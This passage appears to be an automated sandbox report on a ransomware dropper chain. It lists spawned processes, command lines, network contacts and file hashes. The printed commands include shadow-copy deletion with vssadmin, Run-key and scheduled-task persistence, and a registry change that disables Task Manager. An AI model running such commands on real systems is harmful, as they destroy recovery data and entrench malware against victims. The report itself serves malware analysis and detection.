PID 2540 wrote to memory of 1572	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\9.exe
PID 2540 wrote to memory of 1572	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\9.exe
PID 2540 wrote to memory of 1764	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\10.exe
PID 2540 wrote to memory of 1764	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\10.exe
PID 2540 wrote to memory of 1764	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\10.exe
PID 2540 wrote to memory of 1764	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\10.exe
PID 1192 wrote to memory of 1584	N/A	C:\Windows\Explorer.EXE	C:\Windows\SysWOW64\colorcpl.exe
PID 1192 wrote to memory of 1584	N/A	C:\Windows\Explorer.EXE	C:\Windows\SysWOW64\colorcpl.exe
PID 1192 wrote to memory of 1584	N/A	C:\Windows\Explorer.EXE	C:\Windows\SysWOW64\colorcpl.exe
PID 1192 wrote to memory of 1584	N/A	C:\Windows\Explorer.EXE	C:\Windows\SysWOW64\colorcpl.exe
PID 2540 wrote to memory of 1644	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\11.exe
PID 2540 wrote to memory of 1644	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\11.exe
PID 2540 wrote to memory of 1644	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\11.exe
PID 2540 wrote to memory of 1644	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\11.exe
PID 2540 wrote to memory of 2044	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\12.exe
PID 2540 wrote to memory of 2044	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\12.exe
PID 2540 wrote to memory of 2044	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\12.exe
PID 2540 wrote to memory of 2044	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\12.exe
PID 2540 wrote to memory of 2040	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\13.exe
PID 2540 wrote to memory of 2040	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\13.exe
PID 2540 wrote to memory of 2040	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\13.exe
PID 2540 wrote to memory of 2040	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\13.exe
PID 2540 wrote to memory of 564	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\14.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\31.exe

"C:\Users\Admin\AppData\Local\Temp\31.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\36D9.tmp\36DA.tmp\36DB.bat C:\Users\Admin\AppData\Local\Temp\31.exe"

C:\Program Files\Java\jre7\bin\javaw.exe

"C:\Program Files\Java\jre7\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Roaming\1.jar"

C:\Users\Admin\AppData\Roaming\2.exe

C:\Users\Admin\AppData\Roaming\2.exe

C:\Users\Admin\AppData\Roaming\3.exe

C:\Users\Admin\AppData\Roaming\3.exe

C:\Users\Admin\AppData\Roaming\4.exe

C:\Users\Admin\AppData\Roaming\4.exe

C:\Users\Admin\AppData\Roaming\2.exe

C:\Users\Admin\AppData\Roaming\2.exe

C:\Users\Admin\AppData\Roaming\5.exe

C:\Users\Admin\AppData\Roaming\5.exe

C:\Users\Admin\AppData\Roaming\6.exe

C:\Users\Admin\AppData\Roaming\6.exe

C:\Users\Admin\AppData\Roaming\7.exe

C:\Users\Admin\AppData\Roaming\7.exe

C:\Users\Admin\AppData\Roaming\8.exe

C:\Users\Admin\AppData\Roaming\8.exe

C:\Users\Admin\AppData\Roaming\9.exe

C:\Users\Admin\AppData\Roaming\9.exe

C:\Windows\SysWOW64\colorcpl.exe

"C:\Windows\SysWOW64\colorcpl.exe"

C:\Users\Admin\AppData\Roaming\10.exe

C:\Users\Admin\AppData\Roaming\10.exe

C:\Users\Admin\AppData\Roaming\11.exe

C:\Users\Admin\AppData\Roaming\11.exe

C:\Users\Admin\AppData\Roaming\12.exe

C:\Users\Admin\AppData\Roaming\12.exe

C:\Users\Admin\AppData\Roaming\13.exe

C:\Users\Admin\AppData\Roaming\13.exe

C:\Users\Admin\AppData\Roaming\14.exe

C:\Users\Admin\AppData\Roaming\14.exe

C:\Users\Admin\AppData\Roaming\15.exe

C:\Users\Admin\AppData\Roaming\15.exe

C:\Users\Admin\AppData\Roaming\16.exe

C:\Users\Admin\AppData\Roaming\16.exe

C:\Users\Admin\AppData\Roaming\17.exe

C:\Users\Admin\AppData\Roaming\17.exe

C:\Users\Admin\AppData\Roaming\18.exe

C:\Users\Admin\AppData\Roaming\18.exe

C:\Users\Admin\AppData\Roaming\19.exe

C:\Users\Admin\AppData\Roaming\19.exe

C:\Users\Admin\AppData\Roaming\20.exe

C:\Users\Admin\AppData\Roaming\20.exe

C:\Users\Admin\AppData\Roaming\21.exe

C:\Users\Admin\AppData\Roaming\21.exe

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe"

C:\Windows\system32\mode.com

mode con cp select=1251

C:\Users\Admin\AppData\Roaming\22.exe

C:\Users\Admin\AppData\Roaming\22.exe

C:\Users\Admin\AppData\Roaming\23.exe

C:\Users\Admin\AppData\Roaming\23.exe

C:\Users\Admin\AppData\Roaming\24.exe

C:\Users\Admin\AppData\Roaming\24.exe

C:\Users\Admin\AppData\Roaming\25.exe

C:\Users\Admin\AppData\Roaming\25.exe

C:\Windows\system32\vssadmin.exe

vssadmin delete shadows /all /quiet

C:\Users\Admin\AppData\Roaming\26.exe

C:\Users\Admin\AppData\Roaming\26.exe

C:\Users\Admin\AppData\Roaming\27.exe

C:\Users\Admin\AppData\Roaming\27.exe

C:\Users\Admin\AppData\Roaming\28.exe

C:\Users\Admin\AppData\Roaming\28.exe

C:\Windows\SysWOW64\cmd.exe

/c del "C:\Users\Admin\AppData\Roaming\2.exe"

C:\Users\Admin\AppData\Roaming\29.exe

C:\Users\Admin\AppData\Roaming\29.exe

C:\Users\Admin\AppData\Roaming\30.exe

C:\Users\Admin\AppData\Roaming\30.exe

C:\Users\Admin\AppData\Roaming\31.exe

C:\Users\Admin\AppData\Roaming\31.exe

C:\Users\Admin\AppData\Roaming\27.exe

C:\Users\Admin\AppData\Roaming\27.exe /C

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe

dw20.exe -x -s 476

C:\Windows\SysWOW64\regsvr32.exe

C:\Windows\system32\regsvr32.exe -s C:\Users\Admin\AppData\Roaming\29.dll f1 C:\Users\Admin\AppData\Roaming\29.exe@3256

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /f /v feeed /t REG_SZ /d C:\Windows\system32\pcalua.exe" -a C:\Users\Admin\AppData\Roaming\feeed.exe"

C:\Windows\SysWOW64\reg.exe

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /f /v feeed /t REG_SZ /d C:\Windows\system32\pcalua.exe" -a C:\Users\Admin\AppData\Roaming\feeed.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\MSBuild.exe"

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe C:\Users\Admin\AppData\Roaming\29.dll,f0

C:\Users\Admin\AppData\Roaming\24.exe

"{path}"

C:\Users\Admin\AppData\Roaming\24.exe

"{path}"

C:\Users\Admin\AppData\Roaming\24.exe

"{path}"

C:\Users\Admin\AppData\Roaming\24.exe

"{path}"

C:\Users\Admin\AppData\Roaming\24.exe

"{path}"

C:\Windows\SysWOW64\explorer.exe

"C:\Windows\SysWOW64\explorer.exe"

C:\Windows\SysWOW64\regsvr32.exe

C:\Windows\system32\regsvr32.exe -s C:\Users\Admin\AppData\Roaming\4.dll f1 C:\Users\Admin\AppData\Roaming\4.exe@1280

C:\Users\Admin\AppData\Roaming\13.exe

C:\Users\Admin\AppData\Roaming\13.exe

C:\Users\Admin\AppData\Roaming\3.exe

C:\Users\Admin\AppData\Roaming\3.exe

C:\Windows\SysWOW64\cmd.exe

/c del "C:\Users\Admin\AppData\Roaming\18.exe"

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe C:\Users\Admin\AppData\Roaming\4.dll,f0

C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe

"C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe"

C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe

"C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe"

C:\Users\Admin\AppData\Roaming\feeed.exe

"C:\Users\Admin\AppData\Roaming\feeed.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wWTxgR" /XML "C:\Users\Admin\AppData\Local\Temp\tmpFD24.tmp"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\qATVyEXYNcqQZF" /XML "C:\Users\Admin\AppData\Local\Temp\tmp37A.tmp"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\AnLKhBlJfQ" /XML "C:\Users\Admin\AppData\Local\Temp\tmp1832.tmp"

C:\Users\Admin\AppData\Roaming\Microsoft\Tvmegb\ofwolt.exe

C:\Users\Admin\AppData\Roaming\Microsoft\Tvmegb\ofwolt.exe

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn dhftesn /tr "\"C:\Users\Admin\AppData\Roaming\27.exe\" /I dhftesn" /SC ONCE /Z /ST 18:14 /ET 18:26

C:\Users\Admin\AppData\Roaming\Microsoft\Tvmegb\ofwolt.exe

C:\Users\Admin\AppData\Roaming\Microsoft\Tvmegb\ofwolt.exe /C

C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe

"C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"

C:\Users\Admin\AppData\Roaming\11.exe

"{path}"

C:\Users\Admin\AppData\Roaming\11.exe

"{path}"

C:\Users\Admin\AppData\Roaming\26.exe

"{path}"

C:\Users\Admin\AppData\Roaming\9.exe

"{path}"

C:\Users\Admin\AppData\Roaming\26.exe

"{path}"

C:\Users\Admin\AppData\Roaming\26.exe

"{path}"

C:\Users\Admin\AppData\Roaming\26.exe

"{path}"

C:\Windows\SysWOW64\REG.exe

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

C:\Users\Admin\AppData\Roaming\26.exe

"{path}"

C:\Windows\SysWOW64\rundll32.exe

"C:\Windows\SysWOW64\rundll32.exe"

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\cmd.exe

/c del "C:\Users\Admin\AppData\Roaming\11.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	telete.in	udp
DE	185.53.177.54:443	telete.in	tcp
US	8.8.8.8:53	nodejs.org	udp
US	104.20.22.46:443	nodejs.org	tcp
NL	2.56.213.179:443		tcp
NL	193.34.166.247:443		tcp
NL	45.153.186.47:443		tcp
US	8.8.8.8:53	www.gayjeans.com	udp
US	3.94.41.167:80	www.gayjeans.com	tcp
FR	92.204.160.54:443		tcp
FR	92.204.160.54:443		tcp
NL	185.45.193.50:443		tcp
NL	93.115.21.29:443		tcp
US	8.8.8.8:53	www.netcorrespondents.com	udp
NL	193.34.166.247:443		tcp
NL	45.153.186.47:443		tcp
NL	193.34.166.247:443		tcp
NL	185.45.193.50:443		tcp
US	8.8.8.8:53	www.yabbanet.com	udp
NL	193.34.166.247:443		tcp
NL	193.34.166.247:443		tcp
NL	193.34.166.247:443		tcp
NL	193.34.166.247:443		tcp
NL	93.115.21.29:443		tcp
NL	193.34.166.247:443		tcp
NL	193.34.166.247:443		tcp
NL	2.56.213.179:443		tcp
US	8.8.8.8:53	www.heavilymeditatedhouston.com	udp
US	8.8.8.8:53	www.rsrgoup.com	udp
NL	193.34.166.247:443		tcp

Files

C:\Users\Admin\AppData\Local\Temp\36D9.tmp\36DA.tmp\36DB.bat

MD5	ba36077af307d88636545bc8f585d208
SHA1	eafa5626810541319c01f14674199ab1f38c110c
SHA256	bec099c24451b843d1b5331686d5f4a2beff7630d5cd88819446f288983bda10
SHA512	933c2e5de3bc180db447e6864d7f0fa01e796d065fcd8f3d714086f49ec2f3ae8964c94695959beacf07d5785b569fd4365b7e999502d4afa060f4b833b68d80

C:\Users\Admin\AppData\Roaming\1.jar

MD5	a5d6701073dbe43510a41e667aaba464
SHA1	e3163114e4e9f85ffd41554ac07030ce84238d8c
SHA256	1d635c49289d43e71e2b10b10fbb9ea849a59eacedfdb035e25526043351831c
SHA512	52f711d102cb50fafefc2a9f2097660b950564ff8e9324471b9bd6b7355321d60152c78f74827b05b6332d140362bd2c638b8c9cdb961431ab5114e01851fbe4

C:\Users\Admin\AppData\Roaming\2.exe

MD5	715c838e413a37aa8df1ef490b586afd
SHA1	4aef3a0036f9d2290f7a6fa5306228abdbc9e6e1
SHA256	4c21a70dbc6b9bc5e1ee1e7506ee205eecdb14cc45571423e6bcc86dbe4001e7
SHA512	af13c0efb1552bbfbb517e27ff70a00cba5c230e3d2e707bd28a9ccce40e0402793c4ecc32ba1418f19a3744b78b89e5c8709eae3ad5f883c474832c182de861

C:\Users\Admin\AppData\Roaming\3.exe

MD5	d2e2c65fc9098a1c6a4c00f9036aa095
SHA1	c61b31c7dbebdd57a216a03a3dc490a3ea9f5abd
SHA256	4d7421e6d0ac81e2292bcff52f7432639c4f434519db9cf2985b46a0069b2be8
SHA512	b5bd047ca4ee73965719669b29478a9d33665752e1dbe0f575a2da759b90819e64125675da749624b2d8c580707fd6a932685ab3962b5b88353981e857fe9793

memory/472-94-0x0000000000380000-0x0000000000381000-memory.dmp

C:\Users\Admin\AppData\Roaming\7.exe

MD5	42d1caf715d4bd2ea1fade5dffb95682
SHA1	c26cff675630cbc11207056d4708666a9c80dab5
SHA256	8ea389ee2875cc95c5cd2ca62ba8a515b15ab07d0dd7d85841884cbb2a1fceea
SHA512	b21a0c4b19ffbafb3cac7fad299617ca5221e61cc8d0dca6d091d26c31338878b8d24fe98a52397e909aaad4385769aee863038f8c30663130718d577587527f

C:\Users\Admin\AppData\Roaming\4.exe

MD5	ec7506c2b6460df44c18e61d39d5b1c0
SHA1	7c3e46cd7c93f3d9d783888f04f1607f6e487783
SHA256	4e36dc0d37ead94cbd7797668c3c240ddc00fbb45c18140d370c868915b8469d
SHA512	cf16f6e5f90701a985f2a2b7ad782e6e1c05a7b6dc0e644f7bdd0350f717bb4c9e819a8e9f383da0324b92f354c74c11b2d5827be42e33f861c233f3baab687e

C:\Users\Admin\AppData\Roaming\8.exe

MD5	dea5598aaf3e9dcc3073ba73d972ab17
SHA1	51da8356e81c5acff3c876dffbf52195fe87d97f
SHA256	8ec9516ac0a765c28adfe04c132619170e986df07b1ea541426be124fb7cfd2c
SHA512	a6c674ba3d510120a1d163be7e7638f616eedb15af5653b0952e63b7fd4c2672fafc9638ab7795e76b7f07d995196437d6c35e5b8814e9ad866ea903f620e81e

C:\Users\Admin\AppData\Roaming\10.exe

MD5	68f96da1fc809dccda4235955ca508b0
SHA1	f182543199600e029747abb84c4448ac4cafef82
SHA256	34b63aa5d2cff68264891f11e8d6875a38ff28854e9723b1db9c154a5abe580c
SHA512	8512aa47d9d2062a8943239ab91a533ad0fa2757aac8dba53d240285069ddbbff8456df20c58e063661f7e245cb99ccbb49c6f9a81788d46072d5c8674da40f7

C:\Users\Admin\AppData\Roaming\11.exe

MD5	9d4da0e623bb9bb818be455b4c5e97d8
SHA1	9bc2079b5dd2355f4d98a2fe9879b5db3f2575b0
SHA256	091ff5f5bab1cbb2d27a32fedaff1f64dd4004e4a68665e8d606e28585d928a8
SHA512	6e6fab5f4a045349717762ff782527e778b40c5f41ce32428c63aea0dd6e8b73bfdaf3ac55474275f716e9f84632906196edafc4337d816055a69b2ea0904e37

C:\Users\Admin\AppData\Roaming\9.exe

MD5	ea88f31d6cc55d8f7a9260245988dab6
SHA1	9e725bae655c21772c10f2d64a5831b98f7d93dd
SHA256	33f77b1bca36469dd734af67950223a7b1babd62a25cb5f0848025f2a68b9447
SHA512	5952c4540b1ae5f2db48aaae404e89fb477d233d9b67458dd5cecc2edfed711509d2e968e6af2dbb3bd2099c10a4556f7612fc0055df798e99f9850796a832ad

memory/1192-120-0x0000000003030000-0x0000000003130000-memory.dmp

memory/1592-113-0x0000000000290000-0x00000000002A0000-memory.dmp

memory/1572-127-0x0000000000250000-0x000000000030E000-memory.dmp

memory/472-102-0x0000000000400000-0x00000000004B0000-memory.dmp

memory/1248-101-0x0000000000400000-0x000000000042D000-memory.dmp

C:\Users\Admin\AppData\Roaming\6.exe

MD5	cf04c482d91c7174616fb8e83288065a
SHA1	6444eb10ec9092826d712c1efad73e74c2adae14
SHA256	7b01d36ac9a77abfa6a0ddbf27d630effae555aac9ae75b051c6eedaf18d1dcf
SHA512	3eca1e17e698c427bc916465526f61caee356d7586836b022f573c33a6533ce4b4b0f3fbd05cc2b7b44568e814121854fdf82480757f02d925e293f7d92a2af6

C:\Users\Admin\AppData\Roaming\5.exe

MD5	4fcc5db607dbd9e1afb6667ab040310e
SHA1	48af3f2d0755f0fa644fb4b7f9a1378e1d318ab9
SHA256	6fb0eacc8a7abaa853b60c064b464d7e87b02ef33d52b0e9a928622f4e4f37c7
SHA512	a46ded4552febd7983e09069d26ab2885a8087a9d43904ad0fedcc94a5c65fe0124bbf0a7d3e7283cb3459883e53c95f07fa6724b45f3a9488b147de42221a26

C:\Users\Admin\AppData\Roaming\12.exe

MD5	192830b3974fa27116c067f019747b38
SHA1	469fd8a31d9f82438ab37413dae81eb25d275804
SHA256	116e5f36546b2ec14aba42ff69f2c9e18ecde3b64abb44797ac9efc6c6472bff
SHA512	74ebe5adb71c6669bc39fc9c8359cc6bc9bb1a77f5de8556a1730de23104fe95ec7a086c19f39706286b486314deafd7e043109414fd5ce0584f2fbbc6d0658a

C:\Users\Admin\AppData\Roaming\13.exe

MD5	349f49be2b024c5f7232f77f3acd4ff6
SHA1	515721802486abd76f29ee6ed5b4481579ab88e5
SHA256	262d38348a745517600abe0719345c6d17c8705dd3b4d67e7a545a94b9388b60
SHA512	a6c9a96c7738f6408c28b1579009167136ce9d3d68deb4c02f57324d800bce284f5d63a9d589651e8ab37b2ac17bf94e9bd59c63aaa3b66f0891e55ba7d646a0

memory/300-128-0x00000000001B0000-0x000000000025C000-memory.dmp

C:\Users\Admin\AppData\Roaming\16.exe

MD5	56ba37144bd63d39f23d25dae471054e
SHA1	088e2aff607981dfe5249ce58121ceae0d1db577
SHA256	307077d1a3fd2b53b94d88268e31b0b89b8c0c2ee9dbb46041d3e2395243f1b3
SHA512	6e086bea3389412f6a9fa11e2caa2887db5128c2ad1030685e6841d7d199b63c6d9a76fb9d1ed9116afd851485501843f72af8366537a8283de2f9ab7f3d56f0

C:\Users\Admin\AppData\Roaming\14.exe

MD5	9acd34bcff86e2c01bf5e6675f013b17
SHA1	59bc42d62fbd99dd0f17dec175ea6c2a168f217a
SHA256	384fef8417014b298dca5ae9e16226348bda61198065973537f4907ac2aa1a60
SHA512	9de65becdfc9aaab9710651376684ee697015f3a8d3695a5664535d9dfc34f2343ce4209549cbf09080a0b527e78a253f19169d9c6eb6e4d4a03d1b31ded8933

C:\Users\Admin\AppData\Roaming\15.exe

MD5	d43d9558d37cdac1690fdeec0af1b38d
SHA1	98e6dfdd79f43f0971c0eaa58f18bce0e8cbf555
SHA256	501c921311164470ca8cb02e66146d8e3f36baa54bfc3ecb3a1a0ed3186ecbc5
SHA512	9a357c1bbc153ddc017da08c691730a47ab0ff50834cdc69540ede093d17d432789586d8074a4a8816fb1928a511f2a899362bb03feab16ca231adfdc0004aca

C:\Users\Admin\AppData\Roaming\21.exe

MD5	9a7f746e51775ca001efd6ecd6ca57ea
SHA1	7ea50de8dd8c82a7673b97bb7ccd665d98de2300
SHA256	c4c308629a06c9a4af93fbd747ed2421e2ff2460347352366e51b91d19737400
SHA512	20cd6af47a92b396ae565e0a21d3acaa0d3a74bcdccc1506a55dea891da912b03256ba9900c2c089fe44d71210e3c100ba4601cf4d6c9b492a2ce0d323d4c57f

C:\Users\Admin\AppData\Roaming\19.exe

MD5	ff96cd537ecded6e76c83b0da2a6d03c
SHA1	ec05b49da2f8d74b95560602b39db3943de414cb
SHA256	7897571671717742304acde430e5959c09fd9c29fbbe808105f00a1f663927ac
SHA512	24a827fda9db76c030852ef2db73c6b75913c9ee55e130a3c9a7c6ff7aff0fb7192ff1c47cd266b91500a04657b2da61a5fc00e48e7fbc27a6cbc9b7d91daa4b

C:\Users\Admin\AppData\Roaming\17.exe

MD5	15a05615d617394afc0231fc47444394
SHA1	d1253f7c5b10e7a46e084329c36f7692b41c6d59
SHA256	596566f6cb70d55b1b0978a0fab4cffd5049559545fe7ee2fa3897ccbc46c013
SHA512	6deea7c0c3795de7360b11fa04384e0956520a3a7bf5405d411b58487a35bba51eaca51c1e2dda910d4159c22179a9161d84da52193e376dfdf6bdfbe8e9f0f1

C:\Users\Admin\AppData\Roaming\20.exe

MD5	ddcdc714bedffb59133570c3a2b7913f
SHA1	d21953fa497a541f185ed87553a7c24ffc8a67ce
SHA256	be3e6008dde30cb959b90a332a79931b889216a9483944dc5c0d958dec1b8e46
SHA512	a1d728751490c6cf21f9597c6df6f8db857c28d224b2d03e6d25ce8f17557accbd8ef2972369337b9d3305d5b9029001e5300825c23ce826884dcee55b37562c

C:\Users\Admin\AppData\Roaming\18.exe

MD5	bf15960dd7174427df765fd9f9203521
SHA1	cb1de1df0c3b1a1cc70a28629ac51d67901b17aa
SHA256	9187706072f008a27c26421791f57ec33a59b44b012500b2db3eeb48136fb2da
SHA512	7e8b9907233234440135f27ad813db97e20790baf8cb92949ae9185fa09cb4b7b0da35b6da2b33f3ac64a33545f32f959d90d73f7a6a4f14988c8ac3fd005074

C:\Users\Admin\AppData\Roaming\22.exe

MD5	48e9df7a479e3fd63064ec66e2283a45
SHA1	a8dcce44de655a97a3448758b397a37d1f7db549
SHA256	c7d8c3c379dcc42fa796b07b6a9155826d39cbd2f264bc68d22a63b17c8ef7df
SHA512	6cc839f118cad9982ec998665b409dc297a8cff9b23ec2a9105d15cf58d9adbf46d0048dda76c8e1574f6288d901912b7de373920b68b53dbda43d6075611016

C:\Users\Admin\AppData\Roaming\23.exe

MD5	0dca3348a8b579a1bfa93b4f5b25cddd
SHA1	1ee1bcfd80cd7713093f9c053ef2d8c2cd673cd7
SHA256	c430a15c1712a571b0cd3ed0e5dfeefa7e78865a91bdc12e66666cd37c0e9654
SHA512	f0a17a940dd1c956f2578ed852e94631a9762fdd825ed5160b3758e427e8efa2ff0bfc83f239976b1d2765fefc8f9182e41c2da8f5746b36d4b7d189cb14a1b8

C:\Users\Admin\AppData\Roaming\25.exe

MD5	4bbcdf7f9deb1025ca56fa728d1fff48
SHA1	bdc80dfb759c221a850ac29664a27efd8d718a89
SHA256	d2c49ce7e49109214a98eaa2d39f0749c1e779bd139af1cadae55e1ccb55753b
SHA512	ea78c4935864dcddbf6f0516e1d5c095c4814ac988ccc038d0dc11c1fab7127ded45ff35b12bad845422c20f45311101706f0ef14cb1d629277ae276a2535383

C:\Users\Admin\AppData\Roaming\24.exe

MD5	43728c30a355702a47c8189c08f84661
SHA1	790873601f3d12522873f86ca1a87bf922f83205
SHA256	cecdf155db1d228bc153ebe762d7970bd6a64e81cf5f977343f906a1e1d56e44
SHA512	b2d0882d5392007364e5f605c405b98a375e34dec63be5d16d9fae374313336fa13edbb6b8894334afb409833ffc0dbbc9be3d7b4263bdf5b77dbff9f2182e1e

memory/1248-175-0x0000000000400000-0x000000000042D000-memory.dmp

C:\Users\Admin\AppData\Roaming\27.exe

MD5	3d2c6861b6d0899004f8abe7362f45b7
SHA1	33855b9a9a52f9183788b169cc5d57e6ad9da994
SHA256	dbe95b94656eb0173998737fb5e733d3714c8e3b58226a1a038ca85257c8b064
SHA512	19b28a05d6e0d6026fb47a20e2ff43bfdf32387ee823053dcd4878123b20730c0ea65d01ff25080c484f67eeedb2caa45b4b5eb01a3a3bb2d3bc5246cc73aa6e

memory/1584-178-0x0000000000A50000-0x0000000000A68000-memory.dmp

C:\Users\Admin\AppData\Roaming\28.exe

MD5	2ef457653d8aeb241637c8358b39863f
SHA1	578ed06d6c32c44f69a2c2454f289fb0a5591f30
SHA256	dcffe599c886878ed4bed045140bd13d7bc9bd5085163ea00857aa09a93f4060
SHA512	16f98c1d29b8cfaaf3003c5264ca6b4363764c351d5106919eaf2c3bfab26e0fb189dd0e0b82b4d294ba5f3fe535d71cd25c93c2bf9fd27d84c2dd0a2bc99b69

C:\Users\Admin\AppData\Roaming\26.exe

MD5	c3da5cb8e079024e6d554be1732c51cf
SHA1	e8f4499366fe67c9ae6fd1f5acbf56a9b956d4c3
SHA256	d7479a2f9f080742d17077fb4ccfc24583fa7a35842ba505cd43ed266734ce1f
SHA512	2395e084aef01c2a3f18524ee2c860f21e785849ce588a6ac7f58b45b6f7ba6dd25c052c49cc41dd72b3ebb7d476d88787aa273af82afc6fe17eb9e0ad4d7043

memory/3064-171-0x00000000008A0000-0x000000000090E000-memory.dmp

memory/1628-170-0x00000000003E0000-0x000000000044A000-memory.dmp

C:\Users\Admin\AppData\Roaming\29.exe

MD5	0009efe13eaf4dd3d091bc6e9ca7c1e7
SHA1	f2be84149784db1d1b7746afde07d781805bd35f
SHA256	de30d86cff3d838162aa88112a946dfb3af84005dda6bbc70cee15e8dff70ba3
SHA512	cf96410d5a528b52d92c37fac77ff3a8326ad6c2b3bbe00b44d55c758c5521870b9149b2fe8f743e6e7d90259eab5b3d19ed253abb8bea7660530c9b9ea70405

C:\Users\Admin\AppData\Roaming\30.exe

MD5	fc44b935b0188657684c40113f7ab81c
SHA1	76c4a1262eb49daa55a24aadd7e3a48f2c22abd2
SHA256	f5b2489109d68b6ac83b453b8df1c7e1e9ec2636e162efdbaab4d27c1ce2dd69
SHA512	95cdf42503a546b8c3de9c1d0f0ffc5fca9955739591e011ec1dfd8b5c83492bc14261bbb042275f281cc12b59edb071e3dd72dad64c11481d118910a6052f9a

C:\Users\Admin\AppData\Roaming\31.exe

MD5	4c4f3c4c8145b2bb3f79dc1a79f013a9
SHA1	9b1d80f6f950d30d134537f16f1f24fb66a41543
SHA256	f9f9b4e7abf29743486aeb210d474fee24b38a0e2f97d082ab0fe3dabc14b47b
SHA512	7c842577871a8bdf80a3da9dad91dea92dce764c00c874c821cbe2998a0a9d9921f0efb28bd5465deef02a6a6fdcb682a75b25976d7fac421fad8bf39d1c6c37

C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\OWOW64WW.cab.id-B9954D75.[[email protected]].BOMBO

MD5	d7b34b7b4c1f11bce6fbbd2057011057
SHA1	913f9c81c23c8495ca82053366256b8501255f22
SHA256	6e961d6fe01ff48f4525a61ef8e40cfc66fed118767dcba58eda7c9c759c6d80
SHA512	a7dc484415f4f6a27ce77951ff2524ba9e235a313765f6b28faafc78836c96e863c4f545dd153f0e59f17d84518cce5f060019e95ab9547b2a5a1c3484ec6362

memory/1280-921-0x0000000003110000-0x0000000003387000-memory.dmp

memory/2460-920-0x0000000000400000-0x0000000002DF6000-memory.dmp

memory/3256-1466-0x0000000003310000-0x0000000003587000-memory.dmp

memory/1192-1467-0x00000000002E0000-0x00000000003E0000-memory.dmp

memory/564-1580-0x0000000000400000-0x0000000002DF6000-memory.dmp

memory/2736-1909-0x00000000009F0000-0x0000000000B74000-memory.dmp

memory/1572-1910-0x0000000000610000-0x0000000000618000-memory.dmp

memory/300-1911-0x00000000004A0000-0x00000000004B4000-memory.dmp

memory/2736-1913-0x00000000004B0000-0x00000000004B6000-memory.dmp

memory/1572-1912-0x0000000005BC0000-0x0000000005C18000-memory.dmp

memory/2904-1998-0x0000000000370000-0x0000000000408000-memory.dmp

memory/3256-1927-0x0000000000400000-0x000000000301E000-memory.dmp

memory/1628-2237-0x0000000004840000-0x0000000004898000-memory.dmp

memory/3500-2248-0x0000000002120000-0x000000000238B000-memory.dmp

memory/2736-2273-0x000000000D950000-0x000000000DAEA000-memory.dmp

memory/2736-2476-0x0000000000650000-0x0000000000656000-memory.dmp

memory/300-2519-0x00000000004B0000-0x00000000004B8000-memory.dmp

memory/1192-2518-0x0000000006750000-0x00000000068AD000-memory.dmp

memory/2904-2998-0x0000000000550000-0x00000000005B2000-memory.dmp

memory/1592-3000-0x0000000000400000-0x0000000000439000-memory.dmp

memory/804-3005-0x0000000000400000-0x00000000004A0000-memory.dmp

memory/1280-2999-0x0000000000400000-0x000000000300E000-memory.dmp

memory/300-3082-0x0000000000600000-0x0000000000608000-memory.dmp

